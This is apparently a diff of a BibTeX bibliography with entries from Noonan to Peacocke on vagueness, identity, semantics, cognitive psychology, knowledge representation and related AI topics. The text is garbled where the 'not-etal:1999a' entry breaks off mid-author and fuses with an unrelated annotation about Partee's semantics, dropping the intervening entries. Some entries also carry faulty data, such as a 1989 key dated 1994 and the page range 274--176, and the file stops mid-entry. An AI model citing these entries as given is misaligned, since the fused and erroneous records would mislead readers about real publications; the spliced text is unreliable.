noonan:1984a, + author = {Harold W. Noonan}, + title = {Indefinite Identity: A Reply to {B}roome}, + journal = {Analysis}, + year = {1984}, + volume = {44}, + pages = {117--121}, + missinginfo = {A's 1st name, number}, + topic = {vagueness;identity;} + } + +@article{ noonan:1989a, + author = {Harold W. Noonan}, + title = {Vague Identity Yet Again}, + journal = {Analysis}, + year = {1989}, + volume = {50}, + pages = {157--162}, + missinginfo = {A's 1st name, number}, + topic = {vagueness;identity;} + } + +@book{ noonan:1989b, + author = {Harold W. Noonan}, + title = {Personal Identity}, + publisher = {Routledge and Kegan Paul}, + year = {1989}, + address = {London}, + missinginfo = {A's 1st name.}, + topic = {identity;metaphysics;} + } + +@incollection{ noonan:1993a, + author = {Harold W. Noonan}, + title = {Object-Dependent Thoughts: A Case + of Superficial Necessity but Deep Contingency?}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {283--308 } , + address = {Oxford}, + topic = {internalism/externalism;} + } + +@incollection{ noonan:1996a, + author = {Harold W. Noonan}, + title = {The `{G}ray's Elegy' Argument---And Others}, + booktitle = {Bertrand {R}ussell and the Origins of Analytic + Philosophy}, + publisher = {Thoemmes Press}, + year = {1996}, + editor = {Roy Monk and Anthony Palmer}, + pages = {65--102}, + address = {Bristol}, + topic = {Russell;on-denoting;} + } + +@book{ norcliffe:1991a, + author = {Allan Norcliffe}, + title = {Mathematics of Software Construction}, + publisher = {Ellis Horwood}, + year = {1991}, + address = {New York}, + ISBN = {0135633702 (Library ed.)}, + topic = {software-engineering;} + } + +@book{ nordenfelt:1974a, + author = {Lennart Nordenfelt}, + title = {Explanation of Human Actions}, + publisher = {Filosofiska foreningen og Filosofiska institutionen}, + year = {1974}, + address = {Uppsala}, + topic = {philosophy-of-action;} + } + +@article{ nordenstam:1966a, + author = {Tore Nordenstam}, + title = {On {A}ustin's theory of Speech-Acts}, + journal = {Mind}, + year = {1966}, + volume = {75}, + pages = {141--143}, + missinginfo = {number}, + topic = {JL-Austin;speech-acts;pragmatics;} + } + +@book{ norman:1969a, + author = {Donald A. Norman}, + title = {Memory and Attention: An Introduction to Human Information + Processing}, + publisher = {John Wiley and Sons}, + year = {1969}, + address = {New York}, + ISBN = {0471651303, 0471651311 (pbk)}, + topic = {cognitive-psychology;memory;attention;} + } + +@book{ norman:1970a, + editor = {Donald A. Norman}, + title = {Models of Human Memory}, + publisher = {Academic Press}, + year = {1970}, + address = {New York}, + ISBN = {0125213506}, + topic = {memory;memory-models;} + } + +@book{ norman-rumelhart:1975a, + author = {Donald A. Norman and David E. Rumelhart}, + title = {Explorations in Cognition}, + publisher = {W. H. Freeman}, + year = {1975}, + address = {San Francisco}, + ISBN = {0716707365}, + topic = {cognitive-psychology;} + } + +@book{ norman:1976a, + author = {Donald A. Norman}, + title = {Memory and Attention: An Introduction to Human Information + Processing}, + edition = {2}, + publisher = {John Wiley and Sons}, + year = {1976}, + address = {New York}, + ISBN = {0471651362, 0471651370 (pbk.)}, + topic = {cognitive-psychology;memory;attention;} + } + +@book{ norman-draper:1986a, + editor = {Donald A. Norman and Stephen W. Draper}, + title = {User Centered System Design: New Perspectives on + Human-Computer Interaction}, + publisher = {Lawrence Erlbaum Associates}, + year = {1986}, + address = {Hillsdale, New Jersey}, + ISBN = {0898597811}, + topic = {HCI;} + } + +@book{ norman:1988a, + author = {Donald A. Norman}, + title = {The Psychology of Everyday Things}, + publisher = {Basic Books}, + year = {1988}, + address = {New York}, + ISBN = {0465067093}, + xref = {Revision: norman_da:1988a.}, + topic = {industrial-design;cognitive-psychology;} + } + +@book{ norman:1990a, + author = {Donald A. Norman}, + title = {The Design of Everyday Things}, + publisher = {Doubleday}, + year = {1990}, + address = {New York}, + ISBN = {0385267746}, + xref = {Revision of norman_da:1988a.}, + topic = {industrial-design;cognitive-psychology;} + } + +@article{ norman:1991a, + author = {Donald A. Norman}, + title = {Approaches to the Study of Intelligence}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {47}, + number = {1--3}, + pages = {327--346}, + acontentnote = {Abstract: How can human and artificial intelligence be + understood? This paper reviews Rosenbloom, Laird, Newell, and + McCarl's overview of Soar, their powerful symbol-processing + simulation of human intelligence. Along the way, the paper + addresses some of the general issues to be faced by those who + would model human intelligence and suggests that the methods + most effective for creating an artificial intelligence might + differ from those for modeling human intelligence. Soar is an + impressive piece of work, unmatched in scope and power, but it + is based in fundamental ways upon Newell's ``physical symbol + system hypothesis'' -- any weaknesses in the power or generality + of this hypothesis as a fundamental, general characteristic of + human intelligence will affect the interpretation of Soar. But + our understanding of the mechanisms underlying human + intelligence is now undergoing rapid change as new, + neurally-inspired computational methods become available that + are dramatically different from the symbol-processing approaches + that form the basis for Soar. Before we can reach a final + conclusion about Soar we need more evidence about the nature of + human intelligence. Meanwhile, Soar provides an impressive + standard for others to follow. Those who disagree with Soar's + assumptions need to develop models based upon alternative + hypotheses that match Soar's achievements. Whatever the + outcome, Soar represents a major advance in our understanding of + intelligent systems. + } , + topic = {Soar;cognitive-architectures;} + } + +@book{ norman:1998a, + author = {Donald A. Norman}, + title = {The Invisible Computer: Why Good Products Can Fail, the + Personal Computer Is So Complex, and Information Appliances Are the + Solution}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + ISBN = {0262140659 (alk. paper)}, + topic = {cognitive-psychology;HCI;computer-technology;} + } + +@incollection{ normore:1982a, + author = {Calvin Normore}, + title = {Future Contingents}, + booktitle = {Cambridge History of Later {M}edieval Philosophy: from + the Rediscovery of {A}ristotle to the Disintegration of + Scholasticism 1100--1600}, + publisher = {Cambridge University Press}, + year = {1982}, + editor = {Norman Kretzmann and Anthony Kenny and Jan Pinborg}, + pages = {358--381}, + address = {Cambridge, England}, + topic = {future-contingent-propositions;medieval-phulosophy;} + } + +@book{ norris:1993a, + author = {Christopher Norris}, + title = {The Truth about Postmodernism}, + publisher = {Blackwell Publishers}, + year = {1993}, + address = {Oxford}, + topic = {postmodernism;literary-criticism;} + } + +@article{ norton_b:1975a, + author = {Bryan Norton}, + title = {Is Counterpart Theory Inadequate?}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {5}, + number = {1}, + pages = {79--89}, + topic = {individuation;quantifying-in-modality;individuation;} + } + +@unpublished{ norton_j:1988a, + author = {John Norton}, + title = {Shafer-Dempster Belief Functions. Standard Probability + Measures and Limit Theorems: Do We Need a New Calculus + of Belief?}, + year = {1988}, + note = {Unpublished manuscript, University of Pittsburgh.}, + missinginfo = {Date is a guess.}, + topic = {probability-kinematics;Dempster-Shafer-theory;} + } + +@article{ norton_lm:1971a, + author = {Lewis M. Norton}, + title = {Experiments with a Heuristic Theorem-Proving Program for + Predicate Calculus with Equality}, + journal = {Artificial Intelligence}, + year = {1971}, + volume = {2}, + number = {3--4}, + pages = {261--284}, + topic = {theorem-proving;} + } + +@article{ norton_lm:1983a, + author = {Lewis M. Norton}, + title = {Automated Analysis of Instructional Text}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {20}, + number = {3}, + pages = {307--344}, + acontentnote = {Abstract: + The development of a capability for automated processing of + natural language text is a long-range goal of artificial + intelligence. This paper discusses an investigation into the + issues involved in the comprehension of descriptive, as opposed + to illustrative, textual material. The comprehension process is + viewed as the conversion of knowledge from one representation + into another. The proposed target representation consists of + statements of the PROLOG language, which can be interpreted both + declaratively and procedurally, much like production rules. A + computer program has been written to model in detail some ideas + about this process. The program successfully analyzes several + heavily edited paragraphs adapted from an elementary textbook on + programming, automatically synthesizing as a result of the + analysis a working PROLOG program which, when executed, can + parse and interpret LET commands in the BASIC language. The + paper discusses the motivations and philosophy of the project, + the many kinds of prerequisite knowledge which are necessary, + and the structure of the text analysis program. A + sentence-by-sentence account of the analysis of the sample text + is presented, describing the syntactic and semantic processing + which is involved. The paper closes with a discussion of lessons + learned from the project, possible alternative approaches, and + possible extensions for future work. The entire project is + presented as illustrative of the nature and complexity of the + text analysis process, rather than as providing definitive or + optimal solutions to any aspects of the task. } , + topic = {prolog;logic-programming;nl-interpretation;} + } + +@inproceedings{ norvig:1983a, + author = {Peter Norvig}, + title = {Frame Activated Inferences in a Story Understanding Program}, + booktitle = {Proceedings of the Eighth International Joint + Conference on Artificial Intelligence}, + year = {1983}, + pages = {624--626}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + missinginfo = {editor}, + topic = {nl-understanding;story-understanding;} + } + +@inproceedings{ norvig:1987a, + author = {Peter Norvig}, + title = {Inference in Text Understanding}, + booktitle = {Proceedings of the Sixth National Conference on + Artificial Intelligence}, + year = {1987}, + editor = {Kenneth Forbus and Howard Shrobe}, + pages = {562--565}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {abduction;nl-interpretation;} + } + +@inproceedings{ norvig-wilensky:1990a, + author = {Peter Norvig and Robert Wilensky}, + title = {A Critical Evaluation of Commensurable Abduction Models + for Semantic Interpretation}, + booktitle = {Thirteenth International Conference on Computational + Linguistics, Volume 3}, + year = {1990}, + editor = {H. Karlgren}, + pages = {225--230}, + missinginfo = {organization, publisher, address}, + topic = {abduction;nl-interpretation;} + } + +@book{ norvig:1992a, + author = {Peter Norvig}, + title = {Paradigms of Artificial Intelligence Programming: Case Studies + in Common {LISP}}, + publisher = {Morgan Kaufman Publishers}, + year = {1992}, + address = {San Mateo, California}, + ISBN = {1558601910}, + xref = {Reviews: martin_jh:1993a, wong_jf:1993a.}, + topic = {AI-programming;AI-intro;} + } + +@article{ norvig:1994a, + author = {Peter Norvig}, + title = {Review of {\it Text-Based Intelligent Systems}, + edited by {P}aul {J}acobs}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {66}, + number = {1}, + pages = {181--188}, + xref = {Review of jacobs_p:1992a.}, + topic = {nl-kr;} + } + +@inproceedings{ nossum:1997a, + author = {Rolf T. Nossum}, + title = {A Decidable Multi-Modal Logic of Context}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages pages = {146--}}, + topic = {context;} + } + +@incollection{ nossum-thielscher:1999a, + author = {Rolf Nossum and Michael Thielscher}, + title = {Counterfactual Reasoning by Means of a Calculus of + Narrative Context}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {495--501}, + address = {Berlin}, + topic = {context;conditionals;action-formalisms;} + } + +@incollection{ not-etal:1999a, + author = {Elena Not and Lucia M. Tovena and type complement. To get the ambiguity in `What John is + is unusual' she proposes that for the ``predicational'' reading + (John is a clown psychologist, and that is unusual) we let `what + John is' be of type e, and refers to (something like) the having + of the property of being a clown psychologist and `unusual' is a + simple predication. To get the ``specificational'' + reading, (where being unusual is on the ``list'' of things that + John is, i.e., John is unusual) we have a subject-predicate + inversion around `be' so that `unusual' is of type e, and denotes + the individual correlate of the property of being unusual, while + `what John is' is of type , and denotes a second-level + property that (an individual correlate of) a property has just in + case it's a property John has. } , + topic = {nl-semantics;predication;} + } + +@article{ partee:1988a, + author = {Barbara H. Partee}, + title = {Semantic Facts and Psychological Facts}, + journal = {Mind and Language}, + year = {1988}, + volume = {3}, + number = {1}, + pages = {43--52}, + xref = {Discussion of schiffer:1987a.}, + topic = {philosophy-of-language;foundations-of-semantics;} + } + +@incollection{ partee:1989a, + author = {Barbara H. Partee}, + title = {Possible Worlds in Model-Theoretic Semantics: + A Linguistic Perspective}, + booktitle = {Possible Worlds in Humanities, Arts and Sciences}, + publisher = {Walter de Gruyter}, + year = {1989}, + editor = {Sture All\'en}, + pages = {93--123}, + address = {Berlin}, + topic = {intensionality;foundations-of-semantics;} + } + +@inproceedings{ partee:1991a, + author = {Barbara Partee}, + title = {Topic, Focus, and Quantification}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {I}}, + year = {1991}, + editor = {Steven Moore and {Adam Zachary} Wyner}, + pages = {159--187}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {sentence-focus;topic;pragmatics;} + } + +@incollection{ partee:1993a, + author = {Barbara H. Partee}, + title = {Semantic Structures and Semantic Properties}, + booktitle = {Knowledge and Language: Volume {II}, Lexical and Conceptual + Structure}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {Eric Reuland and Werner Abraham}, + pages = {7--29}, + address = {Dordrecht}, + topic = {foundations-of-semantics;} + } + +@incollection{ partee:1996a, + author = {Barbara H. Partee}, + title = {The Development of Formal Semantics in Linguistic Theory}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {11--38}, + topic = {semantics-history;semantics-survey;} + } + +@incollection{ partee-hendriks:1996a, + author = {Barbara H. Partee and Herman L.W. Hendriks}, + title = {Montague Grammar}, + booktitle = {Handbook of Logic and Language}, + publisher = {Elsevier Science Publishers}, + year = {1996}, + editor = {Johan {van Benthem} and Alice {ter Meulen}}, + pages = {5--91}, + address = {Amsterdam}, + topic = {Montague-grammar;nl-semantics;} + } + +@book{ partee-sgall:1996a, + editor = {Barbara H. Partee and Petr Sgall}, + title = {Discourse and Meaning: Papers in Honor of {E}va + {H}aji\v{c}ov\'a}, + publisher = {John Benjamins Publishing Co.}, + year = {1996}, + address = {Amsterdam}, + ISBN = {1556194994}, + topic = {pragmatics;nl-semantics;} + } + +@book{ partridge:1990a, + author = {Eric Partridge}, + title = {A Concise Dictionary of Slang and Unconventional {E}nglish: From + a Dictionary of Slang and Unconventional {E}nglish by Eric Partridge}, + publisher = {Macmillan}, + year = {1990}, + address = {New York}, + ISBN = {0026053500}, + note = {Edited by Paul Beale.}, + topic = {dictionary;slang;English-language;} + } + +@book{ partridge_d:1998a, + author = {Derek Partridge}, + title = {Artificial Intelligence and Software Engineering: + Understanding the Promise of the Future}, + publisher = {Glenlake Publishing Company, Ltd.}, + year = {1998}, + address = {Chicago}, + ISBN = {0814404413}, + topic = {software-engineering;} + } + +@book{ partridge_e:1950a, + author = {Eric Partridge}, + title = {Name into Word; Proper Names that Have Become Common Property; A + Discursive Dictionary; with A Foreword}, + publisher = {Secker and Warburg}, + year = {1950}, + address = {London}, + topic = {proper-names;common-nouns;} + } + +@book{ partridge_e:1952a, + author = {Eric Partridge}, + title = {Chamber of Horrors: A Glossary of Official Jargon, both {E}nglish + and {A}merican}, + publisher = {A. Deutsch}, + year = {1952}, + address = {London}, + ISBN = {0026053500}, + topic = {jargon;} + } + +@book{ partridge_e:1953a, + author = {Eric Partridge}, + title = {You have a Point There: A Guide to Punctuation and + its Allies}, + publisher = {Hamish Hamilton Ltd.}, + year = {1953}, + address = {London}, + note = {Reprinted by Routledge in 1993.}, + ISBN = {0710087535}, + topic = {punctuation;} +} + +@book{ partridge_e:1956a, + author = {Eric Partridge}, + title = {Notes on Punctuation}, + publisher = {Oxford University Press}, + year = {1956}, + address = {Oxford}, + topic = {punctuation;} + } + +@book{ partridge_e:1963a, + author = {Eric Partridge}, + title = {The Gentle Art of Lexicography as Pursued and Experienced by an + Addict}, + publisher = {Deutsch}, + year = {1963}, + address = {London}, + topic = {popular-linguistics;lexicography;} + } + +@book{ partridge_e:1994a, + author = {Eric Partridge}, + title = {The World of Words: An Introduction to Language in General and + to {E}nglish and {A}merican in particular}, + publisher = {H. Hamilton}, + year = {1994}, + address = {London}, + ISBN = {063116622X (acid-free paper)}, + topic = {popular-linguistics;English-language;} + } + +@book{ partridge_e:1994b, + author = {Eric Partridge}, + title = {Usage and Abusage: A Guide To Good {E}nglish}, + publisher = {London : Hamish Hamilton}, + year = {1994}, + address = {London}, + ISBN = {0241133017}, + note = {Edited by Janet Whitcut.}, + topic = {English-usage;} + } + +@book{ pasniczek:1998a, + author = {Jacek Pa\'sniczek}, + title = {The Logic of Intentional Objects: A {M}einongian + Version of Classical Logic}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + ISBN = {0-792304880-X}, + xref = {Review: scheffler_u:2000a, Review: jacquette:1999a.}, + topic = {Meinong;(non)existence;intensionality;} + } + +@incollection{ pasquier-etal:1999a, + author = {Laurent Pasquier and Patrick Br\'ezillon and Jean-Charles + Pomerol}, + title = {Context and Decision Graphs for Incident + Management on a Subway Line}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {499--502}, + address = {Berlin}, + topic = {context;decision-support;} + } + +@book{ passmore:1968a, + author = {J. Passmore}, + title = {A Hundred Years of Philosophy}, + publisher = {Penguin}, + year = {1968}, + address = {Harmondsworth}, + missinginfo = {A's 1st name, publisher}, + topic = {ordinary-language-philosophy;} + } + +@article{ passoneau:1988a, + author = {Rebecca Passoneau}, + title = {A Computational Model of the Semantics of Tense and Aspect}, + journal = {Computational Linguistics}, + year = {1988}, + volume = {14}, + pages = {44--60}, + topic = {tense-aspect;} + } + +@inproceedings{ passoneau:1995a, + author = {Rebecca Passoneau}, + title = {Integrating {G}ricean and Attentional Constraints}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1267--1273}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {discourse;anaphora;pragmatics;} + } + +@article{ passoneau:1996a, + author = {Rebecca J. Passoneau}, + title = {Review of {\it Representing Time in Natural Language: The + Dynamic Interpretation of Tense and Aspect}, by {A}lice ter + {M}eulen}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {2}, + pages = {274--176}, + xref = {Review of termeulen:1995a.}, + topic = {dynamic-semantics;tense-aspect;} + } + +@incollection{ passoneau:1997a, + author = {Rebecca J. Passoneau}, + title = {Interaction of Discourse Structure + with Explicitness of Discourse Anaphoric Noun Phrases}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {327--358}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics; + discourse-structure;centering;} + } + +@article{ passonneau-litman:1997a, + author = {Rebecca J. Passonneau and Diane J. Litman}, + title = {Discourse Segmentation by Human and Automated Means}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {1}, + pages = {103--139}, + topic = {discourse-segmentation;corpus-linguistics;pragmatics;} + } + +@article{ pastre:1978a, + author = {Dominique Pastre}, + title = {Automatic Theorem Proving in Set Theory}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {10}, + number = {1}, + pages = {1--27}, + topic = {theorem-proving;set-theory;} + } + +@article{ pastre:1989a, + author = {Dominique Pastre}, + title = {{MUSCADET}: An Automatic Theorem Proving System Using + Knowledge and Metaknowledge in Mathematics}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {3}, + pages = {257--318}, + topic = {theorem-proving;computer-assisted-mathematics;} + } + +@article{ pataki:1997a, + author = {Tamas Pataki}, + title = {Rescuing the Counterfactual Solution to {C}hisholm's + Paradox}, + journal = {Philosophia}, + year = {1997}, + volume = {25}, + number = {1--4}, + pages = {351--371}, + topic = {deontic-logic;} + } + +@techreport{ patelschneider:1983a, + author = {Peter F. Patel-Schneider}, + title = {Decidable, Logic-Based Knowledge Representation}, + institution = {Artificial Intelligence Laboratory, Schlumberger + Palo Alto Research}, + year = {1983}, + address = {Palo Alto}, + topic = {kr;kr-complexity-analysis;theorem-proving;kr-course;} + } + +@inproceedings{ patelschneider:1986a, + author = {Peter F. Patel-Schneider}, + title = {A Four-Valued Semantics for Frame-Based + Description Languages}, + booktitle = {Proceedings of the Fifth National Conference on + Artificial Intelligence}, + year = {1986}, + editor = {Tom Kehler and Stan Rosenschein}, + pages = {344--348}, + organization = {American Association for Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {kr;bilattices;taxonomic-logics;kr-course;} + } + +@unpublished{ patelschneider:1987a, + author = {Peter F. Patel-Schneider}, + title = {Practical, Object-Based Knowledge Representation for + Knowledge-Based Systems}, + year = {1987}, + note = {Unpublished manuscript, Schlumberger Palo Alto Research + Center}, + topic = {taxonomic-logics;kr;} + } + +@inproceedings{ patelschneider:1989a, + author = {Peter F. Patel-Schneider}, + title = {A Decidable First-Order Logic for Knowledge Representation}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + editor = {Barbara Hayes-Roth and Richard Korf}, + pages = {455--458}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;kr-complexity-analysis;theorem-proving;kr-course;} + } + +@article{ patelschneider:1989b, + author = {Peter F. Patel-Schneider}, + title = {Undecidability of Subsumption in {\sc nikl}}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {39}, + number = {2}, + pages = {263--272}, + month = {June}, + topic = {kr;kr-complexity-analysis;taxonomic-logics;kr-course;} + } + +@article{ patelschneider:1989c, + author = {Peter F. Patel-Schneider}, + title = {A Four-Valued Semantics for Terminological Logics}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {3}, + pages = {319--351}, + topic = {kr;krcourse;taxonomic-logics;multi-valued-logic;} + } + +@inproceedings{ patelschneider:1992a, + author = {Peter F. Patel-Schneider}, + title = {Defaults and Descriptions}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {72--73}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;extensions-of-KL1;nonmonotonic-reasoning; + taxonomic-logics;} + } + +@inproceedings{ patelschneider:1992b, + author = {Peter F. Patel-Schneider}, + title = {Partial Reasoning in Knowledge Representation Systems + Based on Description Logics}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {74--75}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;} + } + +@inproceedings{ patil:1981a, + author = {Ramesh Patil}, + title = {Causal Understanding of Patient Illness in Medical + Diagnosis}, + booktitle = {Proceedings of the Seventh International Joint + Conference on Artificial Intelligence}, + year = {1981}, + editor = {Patrick J. Hayes}, + pages = {893--899}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {diagnosis;causality;} + } + +@inproceedings{ patil-etal:1981a, + author = {Ramesh S. Patil and Peter Szolovits and William B Schwartz}, + title = {Information Acquisition in Diagnosis}, + booktitle = {Proceedings of the First National Conference on + Artificial Intelligence}, + year = {1981}, + pages = {345--348}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {diagnosis;medical-AI;} + } + +@inproceedings{ patil:1983a, + author = {Ramesh S. Patil}, + title = {Role of Causal Relations in Formulation and Evaluation + of Composite Hypotheses}, + booktitle = {Proceedings of {IEEE} MedComp Conference}, + year = {1983}, + missinginfo = {editor, publisher, pages}, + topic = {diagnosis;causality;medical-AI;} + } + +@incollection{ patil-etal:1992a, + author = {Ramesh Patil and Richard F. Fikes and Peter F. + Patel-Schneider and Don McKay and Tim Finin and Thomas Gruber + and Robert Neches}, + title = {The {DARPA} Knowledge Sharing Effort: Progress Report}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {777--788}, + address = {San Mateo, California}, + topic = {kr;knowledge-sharing;computational-ontology;kr-course;} + } + +@incollection{ patrick:1999a, + author = {Jon David Patrick}, + title = {Tagging Psychotherapeutic Interviews for Linguistic + Analysis}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {58--64}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;medical-AI;corpus-linguistics;} + } + +@inproceedings{ pattabhiraman-cercone:1990a, + author = {T. Pattabhiraman and Nick Cercone}, + title = {Selection: Salience, Relevance and the Coupling between + Domain-Level Tasks and Text Planning}, + booktitle = {Fifth International Workshop on Natural Language + Generation, Pittsburgh, Pennsylvania}, + year = {1990}, + pages = {79--86}, + topic = {nl-generation;discourse-planning;pragmatics;text-planning;} +} + +@book{ pattanaik-salles:1983a, + editor = {Prasanta K. Pattanaik and Maurice Salles}, + title = {Social Choice and Welfare}, + publisher = {North-Holland Publishing Co.}, + year = {1983}, + address = {Amsterdam}, + topic = {welfare-economics;social-choice-theory;} + } + +@article{ patton:1965a, + author = {Thomas E. Patton}, + title = {Some Comments on `About'\,}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {12}, + pages = {311--325}, + topic = {aboutness;} + } + +@book{ patton_mq:1990a, + author = {Michael Quinn Patton}, + title = {Qualitative Evaluation and Research Methods}, + publisher = {Sage Publications}, + year = {1990}, + address = {Thousand Oaks, California}, + edition = {2}, + topic = {qualitative-methods;} + } + +@article{ patton_te:1978a, + author = {Thomas E. Patton}, + title = {On {S}trawson's Substitute for Scope}, + journal = {Linguistics and Philosophy}, + year = {1978}, + volume = {2}, + number = {2}, + pages = {291--304}, + topic = {nl-quantifier-scope;} + } + +@article{ patton_te:1991a, + author = {Thomas E. Patton}, + title = {On the Ontology of Branching Quantifiers}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {2}, + pages = {205--223}, + topic = {branching-quantifiers;} + } + +@unpublished{ paul_g:1992a, + author = {Gabriele Paul}, + title = {Approaches to Abductive Reasoning}, + year = {1992}, + note = {Unpublished manuscript, German Center for Artificial + Intelligence.}, + missinginfo = {Date is a guess. May be published.}, + topic = {abduction;} + } + +@article{ paul_la:2000a, + author = {L.A. Paul}, + title = {Aspect Causation}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {4}, + pages = {235--256}, + topic = {causality;prevention;} + } + +@inproceedings{ paul_m:1994a, + author = {Matthias Paul}, + title = {Young {M}ozart and the Joking {W}oody {A}llen: + Proper Names, Individuals, and {P}arts}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {268--281}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;temporal-parts;} + } + +@incollection{ pauly:1999a, + author = {Marc Pauly}, + title = {Modeling Coalitional Power in Modal Logic}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {205--210}, + address = {Amsterdam}, + topic = {voting-procedures;modal-logic;} + } + +@book{ paun-salomaa:1997a, + editor = {Gheorghe Paun and Arto Salomaa}, + title = {New Trends In Formal Languages: Control, Cooperation, and + Combinatorics}, + publisher = {Springer Verlag}, + year = {1997}, + address = {Berlin}, + ISBN = {3540628444 (alk. paper)}, + topic = {formal-language-theory;} + } + +@book{ pawlak:1991a, + author = {Z. Pawlak}, + title = {Rough Sets: Theoretical Aspects of Reasoning + about Data}, + publisher = {Kluwer Academic Publishers}, + year = {1991}, + address = {Dordrecht}, + missinginfo = {A's 1st name.}, + topic = {vagueness;databases;} + } + +@article{ pawlak-etal:1995a, + author = {Z. Pawlak and J.W. Grzymala-busse and R. Slowinski + and W. Ziarko}, + title = {Rough Sets}, + journal = {Communications of the {ACM}}, + year = {1995}, + volume = {38}, + number = {11}, + pages = {89--95}, + missinginfo = {A's 1st name}, + topic = {vagueness;databases;} + } + +@book{ paxson:1986a, + author = {William C. Paxson}, + title = {The Mentor Guide to Punctuation}, + publisher = {Mentor Books}, + year = {1986}, + address = {New York}, + topic = {punctuation;} +} + +@incollection{ paxton:1978a, + author = {William H. Paxton}, + title = {The Language Definition System}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {17--40}, + address = {Amsterdam}, + topic = {grammar-formalisms;speech-recognition;nl-processing;} + } + +@incollection{ paxton:1978b, + author = {William H. Paxton}, + title = {The Executive System}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {41--85}, + address = {Amsterdam}, + topic = {speech-recognition;nl-processing;grammar-formalisms;} + } + +@incollection{ paxton:1978c, + author = {William H. Paxton}, + title = {Experimental Studies}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {87--117}, + address = {Amsterdam}, + topic = {AI-system-evaluation;speech-recognition;} + } + +@unpublished{ peacocke-scott_ds:1973a, + author = {Christopher Peacocke and Dana S. Scott}, + 